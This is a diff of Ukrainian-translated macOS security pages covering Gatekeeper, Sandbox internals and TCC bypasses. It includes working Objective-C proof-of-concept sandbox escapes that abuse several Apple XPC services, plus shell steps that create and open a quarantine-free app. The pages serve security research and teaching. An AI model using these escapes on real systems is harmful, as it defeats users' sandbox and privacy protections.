com.apple.quarantine
```
Перевірте **значення** **розширених** **атрибутів** і знайдіть додаток, який записав атрибут карантину за допомогою:
Перевірте **значення** **розширених** **атрибутів** та знайдіть додаток, який записав атрибут карантину за допомогою:
```bash
xattr -l portada.png
com.apple.macl:
@ -290,15 +286,15 @@ API `qtn_file_*` стосуються політик карантину файл
Він також використовує кілька MIB:
- `security.mac.qtn.sandbox_enforce`: Застосування карантину разом із Sandbox
- `security.mac.qtn.user_approved_exec`: Карантиновані процеси можуть виконувати лише затверджені файли
- `security.mac.qtn.user_approved_exec`: Карантинні процеси можуть виконувати лише затверджені файли
### XProtect
XProtect - це вбудована **антивірусна** функція в macOS. XProtect **перевіряє будь-який додаток, коли він вперше запускається або модифікується, проти своєї бази даних** відомих шкідливих програм і небезпечних типів файлів. Коли ви завантажуєте файл через певні програми, такі як Safari, Mail або Messages, XProtect автоматично сканує файл. Якщо він відповідає будь-якій відомій шкідливій програмі в його базі даних, XProtect **запобіжить виконанню файлу** і сповістить вас про загрозу.
XProtect - це вбудована **антивірусна** функція в macOS. XProtect **перевіряє будь-який додаток, коли він вперше запускається або модифікується, проти своєї бази даних** відомих шкідливих програм і небезпечних типів файлів. Коли ви завантажуєте файл через певні додатки, такі як Safari, Mail або Messages, XProtect автоматично сканує файл. Якщо він відповідає будь-якій відомій шкідливій програмі в його базі даних, XProtect **запобіжить виконанню файлу** і сповістить вас про загрозу.
База даних XProtect **регулярно оновлюється** Apple новими визначеннями шкідливих програм, і ці оновлення автоматично завантажуються та встановлюються на ваш Mac. Це забезпечує, що XProtect завжди актуальний з останніми відомими загрозами.
Однак варто зазначити, що **XProtect не є повнофункціональним антивірусним рішенням**. Він лише перевіряє на конкретний список відомих загроз і не виконує сканування при доступі, як більшість антивірусного програмного забезпечення.
Однак варто зазначити, що **XProtect не є повнофункціональним антивірусним рішенням**. Він лише перевіряє конкретний список відомих загроз і не виконує сканування при доступі, як більшість антивірусного програмного забезпечення.
Ви можете отримати інформацію про останнє оновлення XProtect, запустивши:
```bash
@ -344,7 +340,7 @@ XProtect розташований у захищеному місці SIP за а
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
У цьому обході був створений zip-файл з додатком, що починає стиснення з `application.app/Contents`, а не з `application.app`. Тому **атрибут карантину** був застосований до всіх **файлів з `application.app/Contents`**, але **не до `application.app`**, що перевіряв Gatekeeper, тому Gatekeeper був обійдений, оскільки, коли `application.app` був активований, він **не мав атрибута карантину.**
У цьому обході був створений zip-файл з додатком, який починався з компресії з `application.app/Contents`, а не з `application.app`. Отже, **атрибут карантину** був застосований до всіх **файлів з `application.app/Contents`**, але **не до `application.app`**, що перевіряв Gatekeeper, тому Gatekeeper був обійдений, оскільки, коли `application.app` був активований, він **не мав атрибута карантину.**
```bash
zip -r test.app/Contents test.zip
```
@ -431,8 +427,5 @@ aa archive -d s/ -o app.aar
У пакеті ".app", якщо xattr карантину не додано, при виконанні **Gatekeeper не буде активовано**.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}}

42
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
View File

@ -2,22 +2,22 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
MacOS Sandbox (спочатку називався Seatbelt) **обмежує програми**, що працюють всередині пісочниці, до **дозволених дій, зазначених у профілі Sandbox**, з яким працює програма. Це допомагає забезпечити, що **програма буде отримувати доступ лише до очікуваних ресурсів**.
Будь-яка програма з **правом** **`com.apple.security.app-sandbox`** буде виконуватися всередині пісочниці. **Бінарники Apple** зазвичай виконуються всередині пісочниці, і всі програми з **App Store мають це право**. Тому кілька програм буде виконуватися всередині пісочниці.
Будь-яка програма з **правом** **`com.apple.security.app-sandbox`** буде виконуватися всередині пісочниці. **Бінарні файли Apple** зазвичай виконуються всередині Sandbox, і всі програми з **App Store мають це право**. Тому кілька програм буде виконуватися всередині пісочниці.
Щоб контролювати, що процес може або не може робити, **пісочниця має хуки** практично в будь-якій операції, яку процес може спробувати (включаючи більшість системних викликів) за допомогою **MACF**. Однак, **залежно** від **прав** програми, пісочниця може бути більш поблажливою до процесу.
Щоб контролювати, що процес може або не може робити, **Sandbox має хуки** практично в будь-якій операції, яку процес може спробувати (включаючи більшість системних викликів) за допомогою **MACF**. Однак, **залежно** від **прав** програми, Sandbox може бути більш лояльним до процесу.
Деякі важливі компоненти пісочниці:
Деякі важливі компоненти Sandbox:
- **Розширення ядра** `/System/Library/Extensions/Sandbox.kext`
- **Приватний фреймворк** `/System/Library/PrivateFrameworks/AppSandbox.framework`
- **Демон**, що працює в користувацькому просторі `/usr/libexec/sandboxd`
- **Контейнери** `~/Library/Containers`
### Containers
### Контейнери
Кожна програма в пісочниці матиме свій власний контейнер у `~/Library/Containers/{CFBundleIdentifier}` :
```bash
@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp
> [!CAUTION]
> Зверніть увагу, що навіть якщо символічні посилання існують для "втечі" з Sandbox і доступу до інших папок, додаток все ще повинен **мати дозволи** для їх доступу. Ці дозволи знаходяться в **`.plist`** у `RedirectablePaths`.
**`SandboxProfileData`** - це скомпільований профіль пісочниці CFData, закодований у B64.
**`SandboxProfileData`** - це скомпільовані дані профілю пісочниці CFData, закодовані в B64.
```bash
# Get container config
## You need FDA to access the file, not even just root can read it
@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
> [!WARNING]
> Все, що створюється/модифікується пісочницею, отримає **атрибут карантину**. Це запобіжить простору пісочниці, активуючи Gatekeeper, якщо пісочна програма намагається виконати щось за допомогою **`open`**.
> Все, що створюється/модифікується пісочницею, отримає **атрибут карантину**. Це запобігатиме простору пісочниці, активуючи Gatekeeper, якщо пісочна програма намагатиметься виконати щось за допомогою **`open`**.
## Профілі пісочниці
Профілі пісочниці - це конфігураційні файли, які вказують, що буде **дозволено/заборонено** в цій **пісочниці**. Вони використовують **Мову профілів пісочниці (SBPL)**, яка використовує [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>) мову програмування.
Профілі пісочниці - це конфігураційні файли, які вказують, що буде **дозволено/заборонено** в цій **пісочниці**. Вони використовують **Мову профілів пісочниці (SBPL)**, яка базується на [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>) мові програмування.
Ось приклад:
```scheme
@ -133,9 +133,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
> [!TIP]
> Перевірте це [**дослідження**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **щоб дізнатися більше про дії, які можуть бути дозволені або заборонені.**
>
> Зверніть увагу, що в скомпільованій версії профілю назви операцій замінюються їхніми записами в масиві, відомому dylib та kext, що робить скомпільовану версію коротшою і важчою для читання.
> Зверніть увагу, що в скомпільованій версії профілю назви операцій замінюються їхніми записами в масиві, відомому dylib та kext, що робить скомпільовану версію коротшою та важчою для читання.
Важливі **системні сервіси** також працюють у своїх власних спеціальних **пісочницях**, таких як сервіс `mdnsresponder`. Ви можете переглянути ці спеціальні **профілі пісочниці** в:
Важливі **системні сервіси** також працюють у своїх власних кастомних **пісочницях**, таких як сервіс `mdnsresponder`. Ви можете переглянути ці кастомні **профілі пісочниці** в:
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
@ -143,7 +143,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
Додатки з **App Store** використовують **профіль** **`/System/Library/Sandbox/Profiles/application.sb`**. Ви можете перевірити в цьому профілі, як права, такі як **`com.apple.security.network.server`**, дозволяють процесу використовувати мережу.
SIP - це профіль пісочниці, званий platform_profile в /System/Library/Sandbox/rootless.conf
Потім деякі **сервіси Apple daemon** використовують різні профілі, розташовані в `/System/Library/Sandbox/Profiles/*.sb` або `/usr/share/sandbox/*.sb`. Ці пісочниці застосовуються в основній функції, що викликає API `sandbox_init_XXX`.
**SIP** - це профіль пісочниці, званий platform_profile в `/System/Library/Sandbox/rootless.conf`.
### Приклади профілів пісочниці
@ -224,7 +226,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
#### Через API
Функція `sandbox_set_trace_path`, експортована `libsystem_sandbox.dylib`, дозволяє вказати ім'я файлу трасування, куди будуть записані перевірки пісочниці.\
Функція `sandbox_set_trace_path`, експортована з `libsystem_sandbox.dylib`, дозволяє вказати ім'я файлу трасування, куди будуть записані перевірки пісочниці.\
Також можливо зробити щось подібне, викликавши `sandbox_vtrace_enable()` і отримавши журнали помилок з буфера, викликавши `sandbox_vtrace_report()`.
### Інспекція пісочниці
@ -243,7 +245,7 @@ MacOS зберігає системні профілі пісочниці у д
Можливо, що компанії можуть змусити свої додатки працювати **з користувацькими профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати в Apple.
Можна перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
Можливо перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -251,7 +253,7 @@ MacOS зберігає системні профілі пісочниці у д
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Це **оцінить рядок після цього права** як профіль Sandbox.
Це **eval рядок після цього права** як профіль Sandbox.
### Компіляція та декомпіляція профілю Sandbox
@ -263,9 +265,9 @@ MacOS зберігає системні профілі пісочниці у д
## Налагодження та обхід Sandbox
На macOS, на відміну від iOS, де процеси з самого початку ізольовані ядром, **процеси повинні самостійно вибрати участь у sandbox**. Це означає, що на macOS процес не обмежується sandbox, поки він активно не вирішить увійти в нього, хоча програми з App Store завжди ізольовані.
На macOS, на відміну від iOS, де процеси ізолюються з самого початку ядром, **процеси повинні самостійно вибрати участь у sandbox**. Це означає, що на macOS процес не обмежується sandbox, поки він активно не вирішить увійти в нього, хоча програми з App Store завжди ізольовані.
Процеси автоматично ізолюються з userland, коли вони запускаються, якщо у них є право: `com.apple.security.app-sandbox`. Для детального пояснення цього процесу дивіться:
Процеси автоматично ізолюються з userland, коли вони стартують, якщо у них є право: `com.apple.security.app-sandbox`. Для детального пояснення цього процесу перевірте:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -322,7 +324,7 @@ sbtool <pid> all
- **check_sandbox (#2)**: Виконати ручну перевірку конкретної операції пісочниці.
- **note (#3)**: Додати анотацію до пісочниці.
- **container (#4)**: Прикріпити анотацію до пісочниці, зазвичай для налагодження або ідентифікації.
- **extension_issue (#5)**: Створити нове розширення для процесу.
- **extension_issue (#5)**: Згенерувати нове розширення для процесу.
- **extension_consume (#6)**: Використати дане розширення.
- **extension_release (#7)**: Вивільнити пам'ять, пов'язану з використаним розширенням.
- **extension_update_file (#8)**: Змінити параметри існуючого розширення файлу в межах пісочниці.
@ -338,8 +340,8 @@ sbtool <pid> all
- **vtrace (#19)**: Відстежувати операції пісочниці для моніторингу або налагодження.
- **builtin_profile_deactivate (#20)**: (macOS < 11) Деактивувати іменовані профілі (наприклад, `pe_i_can_has_debugger`).
- **check_bulk (#21)**: Виконати кілька операцій `sandbox_check` в одному виклику.
- **reference_retain_by_audit_token (#28)**: Створити посилання для аудиторського токена для використання в перевірках пісочниці.
- **reference_release (#29)**: Вивільнити раніше збережене посилання на аудиторський токен.
- **reference_retain_by_audit_token (#28)**: Створити посилання для токена аудиту для використання в перевірках пісочниці.
- **reference_release (#29)**: Вивільнити раніше збережене посилання на токен аудиту.
- **rootless_allows_task_for_pid (#30)**: Перевірити, чи дозволено `task_for_pid` (схоже на перевірки `csr`).
- **rootless_whitelist_push (#31)**: (macOS) Застосувати файл маніфесту системної цілісності (SIP).
- **rootless_whitelist_check (preflight) (#32)**: Перевірити файл маніфесту SIP перед виконанням.
@ -352,7 +354,7 @@ sbtool <pid> all
- **`hook_policy_init`**: Він підключає `mpo_policy_init` і викликається після `mac_policy_register`. Він виконує більшість ініціалізацій пісочниці. Він також ініціалізує SIP.
- **`hook_policy_initbsd`**: Налаштовує інтерфейс sysctl, реєструючи `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` та `security.mac.sandbox.debug_mode` (якщо завантажено з `PE_i_can_has_debugger`).
- **`hook_policy_syscall`**: Викликається `mac_syscall` з "Sandbox" як першим аргументом і кодом, що вказує на операцію, у другому. Використовується оператор switch для знаходження коду для виконання відповідно до запитуваного коду.
- **`hook_policy_syscall`**: Викликається `mac_syscall` з "Sandbox" як перший аргумент і кодом, що вказує на операцію, у другому. Використовується оператор switch для знаходження коду для виконання відповідно до запитуваного коду.
### MACF Hooks

177
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md
View File

@ -10,7 +10,7 @@
Компилятор зв'яже `/usr/lib/libSystem.B.dylib` з бінарним файлом.
Потім **`libSystem.B`** буде викликати кілька інших функцій, поки **`xpc_pipe_routine`** не надішле права програми до **`securityd`**. Securityd перевіряє, чи процес має бути в карантині всередині пісочниці, і якщо так, він буде в карантині.\
Потім **`libSystem.B`** буде викликати кілька інших функцій, поки **`xpc_pipe_routine`** не надішле права програми до **`securityd`**. Securityd перевіряє, чи процес має бути в карантині всередині пісочниці, і якщо так, то він буде в карантині.\
Нарешті, пісочниця буде активована за допомогою виклику **`__sandbox_ms`**, який викликатиме **`__mac_syscall`**.
## Можливі обходи
@ -24,7 +24,7 @@
> [!CAUTION]
> Отже, на даний момент, якщо ви просто здатні створити папку з назвою, що закінчується на **`.app`** без атрибута карантину, ви можете втекти з пісочниці, оскільки macOS лише **перевіряє** атрибут **карантину** в **папці `.app`** та в **основному виконуваному файлі** (і ми вкажемо основний виконуваний файл на **`/bin/bash`**).
>
> Зверніть увагу, що якщо пакет .app вже був авторизований для запуску (він має атрибут карантину з прапором авторизації на запуск), ви також можете зловживати ним... за винятком того, що тепер ви не можете записувати всередині **`.app`** пакетів, якщо у вас немає деяких привілейованих TCC дозволів (яких у вас не буде всередині пісочниці).
> Зверніть увагу, що якщо пакет .app вже був авторизований для запуску (він має атрибут карантину з прапором авторизації на запуск), ви також можете зловживати ним... за винятком того, що тепер ви не можете записувати всередині **пакетів .app**, якщо у вас немає деяких привілейованих дозволів TCC (яких у вас не буде всередині пісочниці).
### Зловживання функціональністю Open
@ -43,7 +43,7 @@ macos-office-sandbox-bypasses.md
Якщо пісочний процес може **записувати** в місце, де **пізніше буде запущено бінарний файл без пісочниці**, він зможе **втекти, просто помістивши** туди бінарний файл. Гарним прикладом таких місць є `~/Library/LaunchAgents` або `/System/Library/LaunchDaemons`.
Для цього вам може знадобитися **2 кроки**: Зробити процес з **більш ліберальною пісочницею** (`file-read*`, `file-write*`), щоб виконати ваш код, який насправді запише в місце, де він буде **виконаний без пісочниці**.
Для цього вам може знадобитися навіть **2 кроки**: Зробити процес з **більш ліберальною пісочницею** (`file-read*`, `file-write*`), щоб виконати ваш код, який насправді запише в місце, де він буде **виконаний без пісочниці**.
Перевірте цю сторінку про **місця автозапуску**:
@ -59,12 +59,156 @@ macos-office-sandbox-bypasses.md
../../../macos-proces-abuse/
{{#endref}}
### Доступні системні та користувацькі служби Mach
Пісочниця також дозволяє спілкуватися з певними **службами Mach** через XPC, визначеними в профілі `application.sb`. Якщо вам вдасться **зловживати** однією з цих служб, ви можете бути в змозі **втекти з пісочниці**.
Як зазначено в [цьому звіті](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), інформація про служби Mach зберігається в `/System/Library/xpc/launchd.plist`. Можливо знайти всі системні та користувацькі служби Mach, шукаючи в цьому файлі `<string>System</string>` та `<string>User</string>`.
Більше того, можливо перевірити, чи доступна служба Mach для пісочної програми, викликавши `bootstrap_look_up`:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### Доступні PID Mach сервіси
Ці Mach сервіси спочатку були зловжиті для [виходу з пісочниці в цьому звіті](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). На той час **всі XPC сервіси, які вимагалися** додатком та його фреймворком, були видимі в домені PID додатка (це Mach сервіси з `ServiceType` як `Application`).
Щоб **зв'язатися з XPC сервісом домену PID**, потрібно просто зареєструвати його всередині додатка з рядком, таким як:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
Крім того, можна знайти всі **Application** Mach сервіси, шукаючи в `System/Library/xpc/launchd.plist` за `<string>Application</string>`.
Інший спосіб знайти дійсні xpc сервіси - перевірити ті, що знаходяться в:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
Кілька прикладів зловживання цією технікою можна знайти в [**оригінальному описі**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), однак нижче наведені деякі узагальнені приклади.
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Ця служба дозволяє кожному XPC з'єднанню, завжди повертаючи `YES`, а метод `runTask:arguments:withReply:` виконує довільну команду з довільними параметрами.
Експлуатація була "такою ж простою, як":
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Ця XPC служба дозволяла кожному клієнту завжди повертати YES, а метод `createZipAtPath:hourThreshold:withReply:` в основному дозволяв вказати шлях до папки для стиснення, і він стисне її у ZIP файл.
Отже, можливо створити фальшиву структуру папок додатка, стиснути її, а потім розпакувати та виконати, щоб вийти з пісочниці, оскільки нові файли не матимуть атрибута карантину.
Експлойт був:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Ця XPC служба дозволяє надати доступ на читання та запис до довільного URL для XPC клієнта через метод `extendAccessToURL:completion:`, який приймав будь-яке з'єднання. Оскільки XPC служба має FDA, можливо зловживати цими дозволами, щоб повністю обійти TCC.
Експлойт був:
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### Статичне компілювання та динамічне зв'язування
[**Це дослідження**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) виявило 2 способи обійти пісочницю. Оскільки пісочниця застосовується з користувацького простору, коли бібліотека **libSystem** завантажується. Якщо бінарний файл зможе уникнути її завантаження, він ніколи не буде підпадати під пісочницю:
[**Це дослідження**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) виявило 2 способи обійти Sandbox. Оскільки sandbox застосовується з userland, коли бібліотека **libSystem** завантажується. Якщо бінарний файл міг уникнути його завантаження, він ніколи не потрапив би під sandbox:
- Якщо бінарний файл був **повністю статично скомпільований**, він міг би уникнути завантаження цієї бібліотеки.
- Якщо **бінарний файл не потребував би завантаження жодних бібліотек** (оскільки зв'язувач також знаходиться в libSystem), йому не потрібно буде завантажувати libSystem.
- Якщо **бінарний файл не потребував би завантаження жодних бібліотек** (оскільки лінкер також знаходиться в libSystem), йому не потрібно буде завантажувати libSystem.
### Shellcodes
@ -73,9 +217,26 @@ macos-office-sandbox-bypasses.md
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Entitlements
### Не успадковані обмеження
Зверніть увагу, що навіть якщо деякі **дії** можуть бути **дозволені пісочницею**, якщо у програми є конкретне **право**, як у:
Як пояснено в **[бонусі цього звіту](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, обмеження пісочниці, такі як:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
може бути обійдено новим процесом, що виконується, наприклад:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
Однак, звичайно, цей новий процес не успадкує права або привілеї від батьківського процесу.
### Права
Зверніть увагу, що навіть якщо деякі **дії** можуть бути **дозволені пісочницею**, якщо додаток має конкретне **право**, як у:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -93,7 +254,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
#### Interpost `_libsecinit_initializer`, щоб запобігти пісочниці
#### Інтерпост `_libsecinit_initializer`, щоб запобігти пісочниці
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

55
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
View File

@ -54,7 +54,7 @@ asd
Атрибут **`com.apple.macl`** надається файлам, щоб надати **певному додатку дозволи на його читання.** Цей атрибут встановлюється, коли **перетягують** файл на додаток або коли користувач **двічі клацає** файл, щоб відкрити його за допомогою **додатку за замовчуванням**.
Отже, користувач може **зареєструвати шкідливий додаток** для обробки всіх розширень і викликати Launch Services, щоб **відкрити** будь-який файл (так що шкідливий файл отримає доступ до його читання).
Отже, користувач може **зареєструвати шкідливий додаток** для обробки всіх розширень і викликати Launch Services, щоб **відкрити** будь-який файл (так що шкідливий файл отримає доступ для його читання).
### iCloud
@ -166,8 +166,9 @@ $> ls ~/Documents
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Якщо **`SQLITE_SQLLOG_DIR="path/folder"`**, це в основному означає, що **будь-яка відкрита база даних копіюється в цей шлях**. У цьому CVE цей контроль був зловжито для **запису** всередині **SQLite бази даних**, яка буде **відкрита процесом з FDA базою даних TCC**, а потім зловживати **`SQLITE_SQLLOG_DIR`** з **символічним посиланням у назві файлу**, так що коли ця база даних **відкрита**, користувач **TCC.db перезаписується** з відкритою.\
**Більше інформації** [**в описі**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **і**[ **в доповіді**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
Якщо **`SQLITE_SQLLOG_DIR="path/folder"`**, це в основному означає, що **будь-яка відкрита база даних копіюється в цей шлях**. У цьому CVE цей контроль був зловжито для **запису** всередині **SQLite бази даних**, яка буде **відкрита процесом з FDA базою даних TCC**, а потім зловжити **`SQLITE_SQLLOG_DIR`** з **символічним посиланням у назві файлу**, так що коли ця база даних **відкрита**, користувач **TCC.db перезаписується** з відкритою.
**Більше інформації** [**в описі**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **та** [**в доповіді**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
@ -184,7 +185,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Встановлюючи наступне: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Якщо `path` є дійсним каталогом, помилка спрацює, і ми можемо використовувати `fs_usage`, щоб побачити, що відбувається в програмі:
- файл буде `open()`ed, названий `path/.dat.nosyncXXXX.XXXXXX` (X випадковий)
- файл буде `open()`ed, з назвою `path/.dat.nosyncXXXX.XXXXXX` (X - випадковий)
- один або кілька `write()` запишуть вміст у файл (ми не контролюємо це)
- `path/.dat.nosyncXXXX.XXXXXX` буде `renamed()`d на `path/name`
@ -202,8 +203,8 @@ launchctl setenv SQLITE_AUTO_TRACE 1
- створити `/Users/hacker/ourlink`, щоб вказати на `/Users/hacker/Library/Application Support/com.apple.TCC/`
- створити каталог `/Users/hacker/tmp/`
- встановити `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
- викликати помилку, запустивши `Music` з цією змінною середовища
- зловити `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X випадковий)
- спровокувати помилку, запустивши `Music` з цією змінною середовища
- зловити `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X - випадковий)
- тут ми також `open()` цей файл для запису і тримаємо дескриптор файлу
- атомарно переключити `/Users/hacker/tmp` з `/Users/hacker/ourlink` **в циклі**
- ми робимо це, щоб максимізувати наші шанси на успіх, оскільки вікно гонки досить вузьке, але програш у гонці має незначні недоліки
@ -218,7 +219,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
### Apple Remote Desktop
Як root ви можете увімкнути цю службу, і **агент ARD матиме повний доступ до диска**, що може бути зловжито користувачем для копіювання нової **бази даних користувача TCC**.
Як root ви можете активувати цю службу, і **агент ARD матиме повний доступ до диска**, що може бути зловживано користувачем для копіювання нової **бази даних користувача TCC**.
## За **NFSHomeDirectory**
@ -236,27 +237,27 @@ TCC використовує базу даних у домашній папці
